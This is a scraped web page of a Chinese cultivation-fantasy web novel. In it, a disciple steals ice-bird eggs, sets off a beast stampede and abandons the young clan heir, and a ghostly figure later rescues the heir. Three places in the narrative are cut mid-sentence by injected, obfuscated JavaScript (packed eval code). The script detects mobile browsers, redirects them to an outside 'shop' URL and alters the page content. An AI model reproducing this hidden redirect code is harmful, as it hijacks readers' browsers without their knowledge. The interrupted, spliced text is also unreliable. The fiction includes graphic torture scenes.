一道低沉的嗓音在墨岚耳边炸开,他瞬间清醒,偏偏眼睛像是被一双看不见的大手蒙蔽,只能看见一片黑暗。 耳边能听到喧闹的铃铛声,却是被厚厚的障壁隔开,沉闷又刮耳。 墨岚全身浮起鸡皮疙瘩,他的四肢被摆得很规整,只是……右臂的触感告诉他,他的身边,还躺着另一个人。 就像……躺着在一口巨大的棺材中。 急促的喘息声在这小小的空间里回荡蔓延,方才那句别怕像是墨岚昏睡间的幻听。 他就这样在极度的不安与恐惧中再次失去了意识。 再醒来时,墨岚发现自己已经穿戴整齐,躺在了床榻上。 他下意识狠咬一口口腔内壁,以确认自己此刻是清醒的。 鲜血从嘴角渗出,墨岚睁开眼,面不改色地舐去血丝。 他扶着酸胀的脑袋坐起来,看了眼天色。 正是清晨,外面的天色灰蒙蒙地,但能依稀见到天光。 床头柜上放着用法术温着的汤药,墨岚缓了一会,端起来一饮而尽。 片刻后,暖阁的大门被推开,墨岚用手抹去门上符纸残留的灰痕,迈入雪地。 他肩上披了一件单薄的外衣,在这冰天雪地中下意识地捂住胸腔。 肺部却没传来熟悉的痒意,墨岚愣了愣,随后抬起手,接下一片掉落的雪花。 “墨岚。” 墨端的声音在他身后响起,想必是感受到了禁闭法咒的异动。 墨岚转过身,任由他打量。 墨端对他单薄的衣物不置一词,先前医仙来过,向他汇报了墨岚的身体情况。 他扫了两眼便抬脚往房中走:“进来吧。” 墨岚沉默着跟着他回到房间。 墨端掀开衣角大马金刀地坐到桌前,开门见山道:“你已锻体,三日后我会集结一批本家弟子,同你一起去十方海上一处秘境。” “那里我数年前偶然发现,里面有一株罕见的千年泪竹。” 符修的法器是一张承载命魂的本命符,多由竹浆制作,工序复杂,讲究的便是水火不侵,坚韧耐用。 毕竟是要带到坟墓里的东西,符修极为重视,因此原材料的挑选更加慎重。 泪竹是一种只生在北境的竹子,传言中是仙人之泪浇灌生长,以坚韧闻名,极为稀缺,只长在极寒之地,踪迹难觅。 墨岚尚未拥有本命符,泪竹便是他最好的选择。 “我一人就可以。”他不太想与旁人打交道。 墨端皱着眉:“我挑的都是这辈佼佼者,各自都有任务,你权当他们是侍从,带回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时辰赶不及了,墨岚点头应道:“我会照顾他的,走了。” 墨方看着他走往校场的方向,站在原地发了一会呆,有些懊恼自己嘴笨耽误事,复又感到欣喜。 他本是只想让墨岚悄悄他兄长如今过得好不好,长高没有,身体如何的。 毕竟当年他们二人被送到主家,他天资愚钝被打发做了杂役,但墨稳颇有灵性,入了符门。一个困于内院琐碎,一个修行繁忙,迄今已有四年未见,只偶有书信来往。 …… 这次外出算是墨端对墨岚的历练,他们心照不宣。 毕竟他刚锻体,正是需要造势的阶段。 墨岚来得比较晚,他后面还有人未到,恰好墨端唤他前去谈话,他便坐到了墨端身边的位置。 片刻后所有人都到了,如墨端所说,其中大多是与墨岚年纪相仿的小辈,共十八人,其中锻体者包括墨岚只有四位。 墨岚坐在墨端身边,垂着脑袋发呆。 他能感觉到这些人放在自己身上的探究视线,无心理会。 天边泛着鱼肚白,细雪簌簌飘落,正是茫茫冰原中最好的保护色。 “时候不早了,你们出城吧。” 墨端挥手,在每个人面前放了一张十方海的地图,图上标着那处秘境所在的位置,和各处大魔盘踞的洞府。 十方海的范围很广,魔宫在靠近南边的位置,离镜海天域较近。至于与禅州相近的位置,大多是荒原,再往南些有了人烟,也是魔族的地盘。 因此,他们出城后需要穿越大约百里的雪原才能找到那处鲜有人知的秘境,且要隐蔽行事,尽量不惊扰那群弑杀残暴的魔头。 墨岚从家主身边站起身,旁若无人地走向直通城门的法阵。 8. 十方冻海 出了天机城,气温有所回升,鹅毛大雪变成了混合着雨滴的小雨,风雪中难以视物。 一行人跋涉在广阔的冰原之上,头上戴着遮盖面容的斗笠。 队伍整齐而安静,一脚深一脚浅地在雪地中行走。为了不迷失,他们穿着深色的袍子,外头不深不浅覆盖了一层白霜,好在内侧有保持体温的暖布贴着,免得失温。 这已经是他们穿梭十方海的第二天了。 人群当中,墨岚走在最前沿,他一个人孤零零地带着队,像一柄劈开风雪的利刃。 他身后缀着十数人,一路上没有一个人同他开口说过话。 墨岚的名字他们自然是知晓的,不过在今天之前,他们对墨岚的印象便是一个体弱多病,随时都有可能散架的鬼修血脉。老实说,墨端选出来的多是天资过人者,对这个少主的想法大多是鄙夷,不屑。 他们早就做好了一路上照顾墨岚的准备。 但眼看着一行人在十方海中毫不停歇地赶路,已经过去了整整一天一夜,墨岚非但没有拖他们的后腿,反倒在漫天风雪中站到了他们身前。 未曾见过墨岚的弟子实在诧异,与相熟的友人暗中传音,声音中带着疲倦:“不是说少主体弱多病吗?我看着……这不挺壮实的吗?” “不知道啊,壮实谈不上,但肯定不体弱吧?我好累啊能不能停下歇歇!” “少主都没休息呢,你好意思休息吗?” 任他们在后面如何挣扎行走,墨岚一个人远远地将他们甩在后面,速度快到他自己都不可思议。 正常锻体后只觉得身体轻盈,直到在雪地中行走,他才清晰得感受到身体的蜕变。 一天一夜,没有一人停歇,风雪虽大,却没有别的障碍。以至于需要五日才能走完的路程已经过去了一半,再走一日,便能抵达那处秘境。 天色渐渐擦黑,风雪将熄,墨岚后知后觉地感受到手脚冰凉。 他怀中揣着两块暖玉,心口有些闷。 远处传来了冰狼的嚎叫,人群瞬间警觉,墨岚停住脚步,放出神识。 离他们几十里远的地方有一支趁夜迁徙的狼群,族群中老少俱全,只是各个都瘦到皮包骨,眼神闪着幽绿的寒光。 他身后的弟子们也有所察觉,墨岚停顿一会的功夫,他们便用尽全力赶上他的脚步,其中一位瞧着平庸少年率先向他行礼开口:“少主,夜晚冰原最是危险,您已跋涉一天一夜了,不如先好好休整一番,日出再继续行走。” 他说得巧妙,声音里带着小心翼翼,将众人的筋疲力尽转化为对墨岚的关心。 墨岚没有说话,视线在他兜帽下的脸庞上停留片刻。 “那边有个坍洞,去那里过夜吧。”墨岚道。 众人俱是松了口气,陆陆续续走到那雪洞中,将地上的积雪扫开露出石壁,升起火焰。 墨岚坐在一块凸起的石头上,拿着断月在暖玉上补充法咒。 方才洞外与他交谈的那人坐到了他旁边,有些拘谨地开口:“少主,您……要吃吗?” 一块炊饼出现在墨岚的视线中,他停下手中的动作,摇头推拒:“我来时吃了辟谷丹,你自己吃吧。” 那人脸上的踟蹰与他的小厮如出一辙,墨岚在最后补充了对他的称呼:“你是墨稳。” 墨稳愣住了,他悻悻收回了本就舍不得给出去的炊饼,面上浮现出急切与激动:“您认得我?” 墨岚换了另一块暖玉,断月翻动,火光映在他莹白的脸颊。 “墨方同我提过你,你们的确长得相像。” 墨稳似乎没想到会在他口中听到墨方的名字,但他却没有什么太大的反应,只随意问了一句:“他过得好么?” 墨岚点点头,他一向冷淡,墨稳却以为是对自己的不耐烦。 宽袖之下的拳头紧了紧,墨稳松开手,干巴巴地笑:“……少主好好休息。” 墨岚见他起身要走,手上一顿。他收回断月,拿起那块修补完毕的暖玉:“你拿去吧。” 他看出了墨稳的拮据,一块小小的炊饼便能让墨稳略微失态,想必这些年他过得不怎么样。 像他这样的人,天底下实在太多太多了,只是墨岚恰好答应了墨方,会照顾他。 墨稳感激地接过暖玉,压低声音同他接连道谢,眼神却在空中乱飞,似乎是在提防有人注意到这里的动静。 墨岚挥手让他退下,坐在火塘边闭目养神。 与墨方的踏实稳重相比,这个墨稳的小动作有些多了。 - 精神上的疲惫迟缓地漫上墨岚的身躯,他稍不注意,便靠在石壁上睡了过去。 墨岚再次回到了被他刻意规避的梦境。 说来奇怪,许是锻体的缘故,墨岚总感觉梦中的感官比先前要更强,他能清晰地听到喜堂中的烛火噼啪声,甚至能听见自己平稳的心跳。 …… 心跳? 墨岚心里一咯噔,他的呼吸仿佛都停滞了。 直到现在他才发觉,面前正在掀他盖头的陌生男人,竟然……没有心跳。 耳边突兀地炸开一声轻笑,冰凉的气息陡然靠近墨岚颈侧。 “夫妻对拜……” “!” 话音落下前,他面上覆盖的那层轻纱,被彻底掀开—— “少主,少主?” 墨岚的双眼猛地睁开,他呼吸紊乱,胸膛剧烈起伏。 他面前的猩红的火焰正在张牙舞爪,诡异地与刚刚消散的喜堂灯烛重合。 “少主,您没事吧?” 墨岚抬起手捏了捏山根,嗓音发着不甚明显的颤:“……我没事。” 他食指上的能计时的日月环清楚地显示着现在已是辰时,墨岚扶着石壁站起身扫视一圈周围,发现他们都已整理好行装,在等他苏醒。 墨岚套上外袍,声音闷在围脖下:“走吧。” 一行人走出冰洞,寒凉的风刮在墨岚脸颊,他终于清醒。 许是邪魔们都习惯昼伏夜出,白日的十方海静谧又空旷,经过一整夜的修整,所有人的状态全都得到回复,加之风雪停息,他们很快便来到了秘境所在的雪域。 地图背面贴了幻境符,能让他们一眼分辨出藏在雪地之下的秘境。 十方海万年前确实是海,直到寒潮袭来,万顷封冻。 一些空旷的海峡便成了天然的峡谷,埋藏在厚厚的冰层之下,孕育此间生灵。 这些秘境鲜有人至,便也成了雪原生物的栖息所。 他们这次要寻的秘境便是冰鸟和雪魔獾的居所,这个时段恰好是这两种魔物的冬眠期,家主这才放心让他们前往。 冰鸟擅于冰壁上筑巢,雪魔獾却依赖树木,栖息资源并不冲突,以至于两种魔物种群能够在同一处秘境中和谐共生。所以当他们看见茫茫冻海中的一片盎然绿洲时,便知晓到达了目的地。 墨岚收回地图,在地上贴了一张紧急传送符咒,道:“就是这里了。” 众人盯着他手中的符纸,看直了 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几人短暂建立起识海传音,其中一位年纪稍小些的外门弟子战战兢兢地开口:“……何燃,这样真的行吗?” 他口中的何燃,便是走在队伍最前沿的高大修士,他没在识海中回话,只转过头扫了那小弟子一眼,眼中满是不屑与嘲讽,像是在说:“少废话,怂就滚。” 小弟子打了个寒颤,将未出口的话语吞了回去,双腿如同灌了铅一般跟上他的脚步。 在他们身后,还跟着一个沉默不起眼的人影。 墨稳隐藏在兜帽下的眼神闪着贪婪的寒光,他一眨不眨地盯着不远处密密麻麻的冰鸟洞窟。 里面铺着用霜花筑成的鸟巢,而鸟巢中,是一窝又一窝的冰鸟蛋。 珍惜又大补。 前往鸟巢的提议是何燃出的,此人趋炎附势,来外门不过几个月的时间便与那些公子哥打成了一片。 墨稳盯着最前方那人,咬紧了后槽牙。 明明是一样低贱的命,就因何燃曲意逢迎,而他墨稳坚韧不摧,便卯着劲欺凌他么? 他这些年过得不好,家境本就贫寒,小有天资便运气好入了外院,本就是那群“本家血亲”看不起的存在,被欺负打压是常有的事。 在得知他有一个在内院打杂的亲弟弟后,这样的行为更多了。 所以墨稳平等地恨着他们,很那群自视清高的宗室,恨当初将自己带进内城的家主,甚至恨自己在内院享福的亲弟弟…… 所以在得知何燃要采摘霜花来证明自己打响声名时,墨稳毫不犹豫地跟上了。 只不过他想要的不是那些贱花贱草,而是比植物更加珍惜难得的冰鸟蛋。 到时只需献上一颗……说不准,上头心情好了,能提拔他做内门弟子呢? 墨稳越想越兴奋,眼前的景象反而模糊了,稍不留神便踢到了脚下的碎石。 “咔嚓……” 很轻的一声,但在万籁俱寂的冰鸟巢中,这声轻响是那样突兀又刺耳。 何燃猛地回过头,眼中的亢奋还没褪去便漫上了红血丝。 墨稳毫不怀疑,若不是此刻身处鸟巢,这人的拳头早已挥到他脸上了。 好在是虚惊一场,这里距离冰鸟的巢穴还差些距离,恰好鸟群的哨兵正卧在石块上打瞌睡,并未察觉。 何燃愤怒的声音在众人的识海中响起:“都注意着点!跟上!” 墨稳抿着唇,加快脚步。 9. 丧心病狂 几人小心翼翼地往前行进,眼看着便要抵达冰壁。 冰鸟的巢穴间隔的距离很小,坚硬的鸟喙在冰壁上凿出一个又一个小单间,里头放着柔软干燥的巢穴。 巢穴并不都在高处,低的地方甚至还需他们俯首。 何燃率先抵达一处巢穴旁边,他手上拎着一条短鞭,没有丝毫犹豫便伸手探入巢穴,用鞭子绞住冰鸟纤长的脖颈。 可怜的冰鸟连一声哀鸣都尚未发出,便惨死在了冗长梦境中。 这是一只雄鸟,雌鸟带着鸟蛋独自栖息在冰壁的最上层的巢穴中,何燃从雄鸟尸身下掏出一团霜花巢,塞进了自己的储物灵囊。 他开了个头,剩余几人有样学样,拿出了自己的武器,开始掠杀底层冬眠的雄鸟,眼底闪着贪婪的凶光。 血腥的气息开始蔓延,温热的血滴在冰壁中,尚未流淌便凝固。 眨眼功夫,便有十余只冰鸟丧命。 许是杀得尽兴,其中两人竟然忘了掩藏气息,灼热的气息氤氲成白雾。 在他们背后,哨兵终于发现了异动。 冰鸟抻长脖子,发出一阵悲泣,翅膀扑扇着,带起风旋。 无数冰鸟被惊醒,将头颅探出巢穴,恰好撞见匪徒正在屠戮同族。 整个鸟巢顿时沸腾,冰蓝色的绒羽铺天盖地地落下,何燃掏了最后一个鸟窝,咬牙喊道:“撤——!” 墨稳抬头,几乎所有的雄鸟都已出巢,他掏出一张符纸划过双眼,透过厚重的冰壁探查鸟蛋的位置。 鸟蛋大多在上层,但有一窝就在距离他们不远处的地方,稍微垫脚便能够到。 那是整个冰壁的正中心,是鸟王的巢穴。 冰鸟首领是一只雌鸟,为了方便御敌,它并没有住在上层,此刻,它正飞在鸟群中,怒视着他们几人。 墨稳咬牙,贪婪最终战胜了理智,他以迅雷不及掩耳之势,踏着石壁飞身过去,在混乱中将手探入鸟王巢穴,连巢带卵地卷走。 何燃正在奔逃,望见他的动作目眦欲裂:“你疯了?!” 天空盘旋的鸟王长啸一声,朝墨稳俯冲而来。 墨稳快速跳下冰壁,向鸟巢入口冲去。 但腿是没有翅膀快的,结成阵的冰鸟很快便向他们展开了追逐与攻击,它们用带有寒毒的尖喙利爪不断攻击几人。 秘境长久以来的静谧就此打破,鸟巢的异动引起了各方注意,居住在树下的雪魔獾也从睡梦中惊醒,一窝又一窝地往地面爬。 正在采集秘境信息的弟子们被吓了一跳,雪魔獾攻击性很强,几乎在看到他们的一瞬间便全都进入了战斗状态。 于是整个秘境顿时被点燃,冬眠的魔兽悉数苏醒,与闯入它们领地的弟子开始大逃杀。 “怎么回事?!不是还在冬眠期吗?怎么全都醒了!” “肯定是有人去惊扰了!” “快走!外面有传送法阵!” …… 墨岚换下攀岩靴,将泪竹小心地收进灵囊。 远处传来一阵骚动,魔兽四爪着地引起地面震动,稍薄一些的冰层开始皲裂破碎。 他眼神一凛,神识探查情况。 他见到了兽潮暴动和在最前方逃命的墨稳和何燃,墨岚没有丝毫犹豫便往那边赶。 四散的弟子们跑到了一处,有几人修为落后些许,无力抵抗魔兽攻势,便只能沦为爪下亡魂。 墨稳冲在最前面,他的脸上被冰鸟抓出了几道深可见骨的伤痕,寒毒顺着肌肉扩散蔓延,却也只能忍着疼痛,捂好怀中的鸟窝,甚至连抽空将鸟蛋放进灵囊都无法做到。冰鸟的攻击接连不断,他们二人伤的最重,速度慢下来,渐渐落后到队尾。 所有人都在奔逃,没有人注意到他抱着的东西。 墨岚没想那么多,他用最快的速度来到人群当中。 腰间的软剑裁风被抽出,划破空气,振出一阵剑鸣。 正在朝他俯冲的冰鸟被一剑削去头颅,温热的鲜血溅撒到他的脸颊。 “快走!”墨岚对身后还在发愣的墨稳吼了一声。 墨稳于是头也不回地向前跑去,追击的冰鸟恼怒至极,鸟王哀鸣数声,铺天盖地的冰鸟在秘境上空盘旋,地面上诸多冰兽嘶吼咆哮,地面都在震颤。 秘境的出口尚有十余丈,已经有人出了秘境,全力赶往传送法阵。 最开始潜入鸟巢的五人中,剩余三人都被何燃推出去当了替死鬼,只剩他与墨稳。 裁风在空中乱舞,墨岚抽空在剑柄上贴了一张火符,最克冰兽。 剑风扫飞一片冰兽,冰鸟被迫退回天空,愈发愤怒,尤其是那只领头的鸟王,眼神闪着冰蓝色的幽光,浑身结出冰晶,竟是有再魔化的迹象。 墨岚微微喘着气,猝不及防地与鸟王对视。 再次魔化,对于魔兽来说是极为痛苦的,若是寻常惊扰,定然不会让鸟王付出九死一生的代价也要杀死他们这些外来者。 前方的墨稳被石缝绊了一下,踝骨发出清脆的声响,匍匐向前扑去,狠狠摔在地上。 墨岚回过头,见他哪怕摔倒也不愿意将护在胸前的手臂放下,心里有了一个荒谬的猜测。 墨稳一声不吭,匆匆把错位的脚踝归位,随后立马检查怀中的鸟蛋是否有破损,全然不知墨岚正死死盯着他。 鸟王在群鸟簇拥之下完成了第二次魔化,从鸟喙中喷出冰霜,误伤了地面的魔兽。 魔兽在沾到那白霜的一瞬间凝结成了冰雕,连一丝反应的时间都没有。 墨稳拍拍膝盖站起身,正准备继续往前跑,便被鸟王的嚎叫惊动,转过身发现了空中已经完成进化的冰鸟王,瞳孔微缩。 墨岚甩出一张符咒,短暂抵挡了冰鸟的攻击,他将裁风横在墨稳颈间,斥道:“将鸟蛋放下!” 墨稳浑身一颤,迟迟未动,墨岚有些心焦,不理解他为何会做出这样的举动,心一狠,裁风剑刃没入了墨稳皮肉一丝。 墨稳眼里晦暗,他抬起头看了眼那鸟王,说出口的话却是狠厉:“区区几枚鸟蛋……要就拿去吧!” 说罢,他将怀中的鸟巢高高举起,狠狠掷在地面! 那几枚冰鸟蛋顿时摔得四分五裂,已成型的雏鸟尚未来得及睁开眼,便惨死在了满地狼藉中。 “啊——!!” 空中的冰鸟王骤然发了狂发出了前所未有的凄厉惨叫,一个母亲便这样眼睁睁地看着自己的孩子夭折。 墨岚的手腕抖了一下,他抬起眼重新审视墨稳,全然看不到墨方口中的勤劳善良。 他只看到一个丧心病狂的疯子。 墨稳丢下鸟巢便向前方狂奔,墨岚咬牙,全力抵挡来自冰兽们的攻击。 他一边格挡一边往秘境出口退,铺天盖地的攻势落在他面前的屏障,发狂的鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119782|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王已经顾不得结阵,用尽全力想要攻击墨岚身后的墨稳。 任墨岚修为再高深,面对成千上万的冰鸟群和其他浩浩荡荡的冰兽,也逐渐的感到力不从心,他的速度渐渐慢下来,时不时回头看一眼后面,距离出口只差几步。 冰洞的入口泄下一丝天光,墨稳正吃力地往上面爬,地底却突然传来一阵异动。 雪魔獾在地面占不到便宜,但他们锋利的爪子能够轻松地刨开冰层。 它们遁地来到秘境入口下方,随后集体破土而出,彼时墨稳费九牛二虎之力爬上了冰洞,脚踝处的疼痛使他面色苍白,坐在地上疼到失神。 墨岚脚下不稳,一不留神便被破冰而出的雪魔獾抓住了小腿。 锋利的爪间刺破他的长靴,小腿肚上被划出长长一道伤痕,墨岚闷哼一声,抽出绑在腿上的断月,将那只雪魔獾一击毙命。 他用另一只腿蹬住凸起的冰块,奋力向上一跃,断月卡住洞口。 坐在洞口的墨稳已经缓过了神,伸手便能将墨岚拉出来。 在他不远处,何燃捂着肩膀喘气,仍沉浸在疼痛中。 他们附近已经没多少人了,大多行动无碍的弟子已经到达了传送法阵,因此没人注意到落伍的少主。 墨岚瞧见了墨稳的衣摆,底下的冰鸟快要抵达,他大声喊道:“快拉我上去!” 墨稳浑身一震,方才回过神自己在墨岚面前摔了一窝冰鸟蛋。 墨岚的手臂又酸又疼,见墨稳发呆,喊了他的名字。 但墨稳并没有如他意料那般伸手将他拉上洞口。 墨稳眼中闪过与方才摔蛋时如出一辙的凶狠,他爬起来,颤着手在附近摸索,摸到了一块不大不小的碎冰。 “对不起,少主……要是你死了,就没人会知道!” 墨稳双目充血,将那块石头高高举起,往洞口扔去,径直砸向墨岚的头颅! 断月松动,墨岚头上传来一阵钝痛。 意识消失前,他看到的,是被掩盖的秘境出口,和朝他涌来的兽潮。 - “你疯了吗?!那是少主!”不远处的何燃目睹了一切,他爬过去拎着墨稳的衣领。 倒不是他多敬仰少主,只是他们都知道家主对墨岚有多么重视,若是墨岚出了事,他们也别想好过。 墨稳冷冷地回望过去,他拍开何燃的手,嗤笑道:“那几个人全死了,只有他知道是我们进了冰鸟巢!要是他活着,我们才是全完了!” 何燃一拳砸在他侧脸,啐道:“要不是你偷了鸟蛋,会引起兽潮吗!” 墨稳没再说话,狠狠地盯着他,片刻后露出一个意味不明的笑:“好啊,你去揭发我,大不了一起死。” 何燃冷静下来后仔细想了想,发现墨岚死了确实比较稳妥,他爬起来拍拍裤脚,往阵法赶去,临走前扔下一句:“天知地知,你知我知!” 墨稳最后看了一眼被掩埋的冰洞,喃喃道:“虚伪。” …… 一行人狼狈地回到了天机城,所有人到齐后,他们才发觉墨岚没有跟来。 “少主呢?!” “少主方才在殿后,他没有出来吗?” 众人聚在一起一合计,发现一个绝望的事实,墨岚被留在了秘境。 天机城的天霎时黑下去了,墨端刚在天机阁受了一肚子气,刚到校场,便听闻此噩耗。 10. 阴魂不散 校场上空黑压压一片云,墨端坐在主位上,底下跪了满地弟子。 他们形容狼狈,身上还带着伤,眼观鼻鼻观心,大气都不敢喘。 一道闪电划过,照在墨端惨白的脸上,他的声音听不出情绪,不怒自威:“谁先说。” 没有人敢在这个时候闭口不言,于是几个年纪稍大一些,与家主打过交道的内门弟子站出来,跪到主位之下,战战兢兢地将自己进入秘境后的见闻全盘托出。 说到冰鸟苏醒,兽潮暴动时,墨端挥手叫停。 他的视线一寸寸扫过人群,嗓音发沉:“冰鸟进入冬眠期不久,若不是有人惊扰,不可能提前苏醒。” 何燃微不可查地将头又埋深一些,祈祷没人看到他们。 但就是这个细微的动静,没有逃过墨端的眼睛。 何燃忽然感觉脖子被一只无形的大掌扼住,将他提到半空。 墨端站起身,冷声道:“你是自己交代,还是我用搜魂神通去你识海中探一探。” 何燃垂落的双腿不住挣扎,脸颊憋得青紫,翻着白眼从喉咙里挤出几个字:“我……我说!我说!” 他沾了“何烬”的光回了内城,心中始终抱有一些侥幸心理,只说自己迷路进了冰鸟巢,这才意外惊扰。 墨端见他支支吾吾,也懒得与他废话,一张搜魂符打在他头颅,何燃顿时爆发出一阵撕心裂肺的痛呼。 搜魂符生效,墨端被他杀猪般的嚎叫吵得眉头拧紧,自顾自将何燃凝结的神魂从他识海抽出,闭上眼探查。 “轰隆——!” 一道雷电划过昏沉的天幕,映在墨端眼中,他没一会就把记忆看完,虚空的一鞭直接抽到了旁边抖若筛糠的墨稳身上。 墨稳被抽到吐血,巨大的恐惧蔓延在心头,他匍匐到墨端脚边不住地磕头,哆哆嗦嗦地认错:“家主!弟子知错了!弟子知错了——!” 鞭子一鞭又一遍抽打在他的脊背,墨端盛怒之下甩袖,校场正中生起两座刑台。墨端生平最恨有人在他面前耍手段,这次竟然还将手伸向了墨岚! 何燃和墨稳被甩在刑台之上,长钉从肩窝钉进他们身后的地板,鲜血汩汩流了一地。 诸位弟子尚在状况之外,不明白家主看到的记忆中有些什么,不过就因为这两个人,他们差点死在那秘境当中,自然看得十分解气。 刑台旁边有诸多刑具,墨端眼都不眨便扔下一张符咒,化作一对满面漆黑的纸人,将那些刑具一件件往二人身上招呼。 墨端冷冷道:“看清楚他们的下场!” 在场众人噤若寒蝉,没人敢在这个时候触怒家主。 墨端扔下一句:“散了吧,让他们在上面待着。” “若是少主有闪失……你们便先去探路吧。” 说罢,他消失在原地。 校场上的弟子们拖着颤颤巍巍的双腿走出校场,其中一人迎面撞上了从后院而来,行色匆匆的小厮。 小厮白着一张脸,面上带着慌乱,正是墨方。 他乍然听闻墨岚出事的消息,丢下手上的事务便匆忙往前院赶,与一名腹部有伤的弟子撞个满怀。 “啊!长没长眼睛啊!”那弟子捂着肚皮喊痛,被撞得一个趔趄。 墨方连连道歉,揉揉额头便往校场看去。 他恰与台上正在受刑的墨稳对视。 墨方双眼慢慢睁大,他看了好几眼才确认不远处正在遭受折磨的人是自己阔别多年的兄长。 “真倒霉……要不是那两个怨种我至于受伤吗?考核都被耽误了……家主罚的好!就该让他们在上面痛死。” “算了算了,祈祷少主没事吧,否则我们也得遭殃……” 那弟子没多和墨方计较,咕哝着,在同伴的搀扶下离开了校场。 墨方犹如五雷轰顶,他眼睁睁地看着封住灵窍的长钉钉入他兄长的手掌,符修赖以生存的双手被毫不留情地摧毁。旁边两具漆黑的符傀手握沾着烈焰的长鞭,一寸寸剖开他的皮肉。 墨方喉间溢出一声哽咽,他捂住嘴唇,身体控制不住地颤抖。 墨稳也看到了他,嘴唇嗫嚅着,似乎是想要说话。 墨方的双腿像灌了铅一般黏在原地动弹不得,他眼睁睁看着墨稳被烧得滚烫得火钳揪出舌头舌头,打上罪人烙印,又被生剖灵台,修为散尽。 他在原地站了整整两个时辰,久到夜幕降临,校场上只余下两个罪人和站在不远处的他,结界内跑来几只乌鸦,盘旋在刑台上空,像是前来索命的阎罗信使。 何燃和墨稳早被折磨得不成人样,挣扎半天后终于是咽了气。 发黑的血汩汩流了一地,乌鸦飞到地上,啄食污血。 墨方的腿已经酸软得不成样子,在确认周围空无一人后,终于在乌鸦啼鸣的掩盖下,痛哭出声。 - 几个时辰前。 墨岚脱力,松开了扣住冰壁的手,任由自己掉下去。 与此同时,皲裂得不成样子的地面,再次发生异动。 这次明显不是冰兽,那群冰兽放下正准备伸向墨岚的利爪,警戒地竖起耳朵。 那动静愈演愈烈,不像活物在刨,倒像是……河水? 果真是河水,冰原之上竟然出出现了河流奔腾的声响,有水从冰缝中溢出来。 有冰兽手痒,去触碰了一下那清澈的河水。 它当即哀嚎出声,手上沾上那液体的地方被灼烧腐蚀,散发出一阵焦臭。 旁边的冰兽被惊动,连忙避开爪下逐渐开始渗透的水液,四散而逃。 一时间它们也顾不上躺在地上的墨岚了,为了避开那腐蚀的水,冰兽们赶往地势更高的冰壁。 混乱间,它们并没有发现,不论那诡异的水如何流淌,墨岚身下的土地是始终干爽,连衣角都不曾湿,仿佛有无形的屏障庇佑。 水流从潺潺小溪演变成波涛汹涌的江河,将整个冰洞秘境席卷,甚至攀上冰壁,将冰鸟的巢穴也淹没。 四处都是冰兽的哀嚎,多数冰兽为了保住性命,只好争先恐后地逃往秘境入口,舍弃家园。 冰鸟衔巢而去,秘境霎时变得空荡荡,墨岚躺在中间,人事不省。 他裸露皮肤的小腿上,伤口处的寒毒正在蔓延,苍白的小腿爬上青黑的毒素,瞧着颇为骇人。 那腐蚀一切的河水慢慢褪去了,水珠从高处砸在地面,滴滴答答的回音游荡再此方天地。 没过多久,地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119783|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残留的液体,像是被某种事物牵引,自发从四面八方像秘境中心汇集,互相融合,渐渐扭曲成一个诡谲的人影。 一只苍白的手,从清澈的水液中伸出。 紧接着是手臂,肩膀,大半个漆黑的身躯…… 一只裹着黑袍的恶鬼,凭空出现在空旷寂静的秘境,面容俊美又带着森森鬼气。 “何烬”舒展筋骨,眼睛一眨不眨地看着躺在地上的墨岚。 他视线一寸寸扫过墨岚身上凌乱的行装,染血的袖口,带着狰狞伤痕的小腿…… 在往上,他看到墨岚苍白的脸。 “何烬”没有犹豫,他蹲下.身将冰凉的手贴在墨岚的小腿上,灵力温和地注入那道深可见骨的伤口。 寒毒霎时消散,伤口也在他手下缓缓愈合,连一丝痕迹都未留下。 “何烬”抚上墨岚的脸颊,只觉得墨岚的身躯比自己还要冰凉,他将身上的外袍脱下来,将墨岚包裹住,环住墨岚的腿弯,将他横抱起来。 残缺的匕首遗落在地,“何烬”勾勾手指,那匕首被插回墨岚大腿间绑着的刀鞘。 “何烬”毫不费力地抱着墨岚瞬移到头顶的雪原,冰兽们跑得无影无踪,天际还能看到冰鸟迁移划过云层的拖尾。 难得放晴,不远处的传送阵法已经被使用过,符纸烧成了灰烬,在茫茫雪原中稍显突兀。 “何烬”抱着墨岚缓步前行,脚下的雪被踩出嘎吱声。 一直走到一处干燥的洞穴,“何烬”都不曾将墨岚放下,他坐在一处凸起的石头上,任由墨岚将头靠在肩窝。 “……他们凭什么伤你?”他喃喃自语,捏着墨岚细细的手腕。 “何烬”用眼神描摹墨岚的轮廓,没错过每一处凹陷。 墨岚本就清瘦,经过不久前的一场大病,虽已有好转,但依旧虚弱。墨端这老东西真是荒唐,怎样的稀世珍宝值得少主亲自去涉身险境去取? 他的手指叩上墨岚的脉搏,细心探查灵脉。 确认没有大碍后,他把墨岚小心地放在石头上,从他怀中摸出那块就快失效的暖玉,补上法咒。 随后又将残破的断月抽出来,随手捏好。 确认一切妥帖后,“何烬”蹲在墨岚旁边,舍不得挪开放在他身上的眼。 直到洞外传来了有人行走的动静,“何烬”才恋恋不舍地站起身,捉起墨岚的手指,印下一个冰凉的吻。 随后他转身走向洞穴深处,悄无声息遁入黑暗,独留墨岚一人。 …… 墨端神识铺开,排查近千里,终于在一处洞穴找到了昏迷的墨岚。 